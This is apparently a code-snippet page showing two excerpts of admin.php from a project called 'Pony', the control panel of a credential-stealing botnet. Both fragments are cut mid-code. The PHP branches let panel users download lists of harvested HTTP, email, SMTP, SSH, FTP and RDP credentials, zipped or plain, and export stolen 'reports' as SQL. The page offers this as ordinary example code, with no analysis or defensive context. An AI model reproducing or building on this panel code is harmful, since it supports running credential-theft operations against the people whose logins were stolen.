示例#1
0
文件: admin.php 项目: captincook/Pony
        ob_start();
        $pony_db->get_http_list(true);
        $http_list_data = ob_get_contents();
        ob_end_clean();
        create_zip_and_send('http_list.txt', $http_list_data);
    } else {
        set_common_file_download_header('http_list.txt');
        $pony_db->get_http_list(true);
    }
    die;
}
if ($admin_routine == 'download_email' && $enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) {
    if ($use_zip) {
        set_common_file_download_header('email_list.zip', 'application/zip');
        ob_start();
        $pony_db->get_email_list(true);
        $email_list_data = ob_get_contents();
        ob_end_clean();
        create_zip_and_send('email_list.txt', $email_list_data);
    } else {
        set_common_file_download_header('email_list.txt');
        $pony_db->get_email_list(true);
    }
    die;
}
if ($admin_routine == 'download_email_smtp' && $enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) {
    if ($use_zip) {
        set_common_file_download_header('email_smtp_list.zip', 'application/zip');
        ob_start();
        $null_list = array();
        $pony_db->get_email_list(true, $null_list, 0, 'smtp');
示例#2
0
    set_common_file_download_header();
    header("Content-Disposition: attachment; filename=\"ssh_list.txt\";");
    $null_array = array();
    $pony_db->get_ftp_list(true, $null_array, 0, 'ssh');
    die;
}
if ($admin_routine == 'download_http' && $admin_action == 'http' && $enable_http_mode && ($show_http_to_users || $pony_db->priv_is_admin())) {
    set_common_file_download_header();
    header("Content-Disposition: attachment; filename=\"http_list.txt\";");
    $pony_db->get_http_list(true);
    die;
}
if ($admin_routine == 'download_email' && $enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) {
    set_common_file_download_header();
    header("Content-Disposition: attachment; filename=\"email_list.txt\";");
    $pony_db->get_email_list(true);
    die;
}
if ($admin_routine == 'download_rdp') {
    set_common_file_download_header();
    header("Content-Disposition: attachment; filename=\"rdp_list.txt\";");
    $pony_db->get_rdp_list(true);
    die;
}
if ($admin_routine == 'download_reports' && $admin_action == 'ftp') {
    set_common_file_download_header();
    header("Content-Disposition: attachment; filename=\"reports.sql\";");
    $pony_db->export_reports(false);
    die;
}
if ($admin_routine == 'download_nonparsed_reports' && $admin_action == 'ftp') {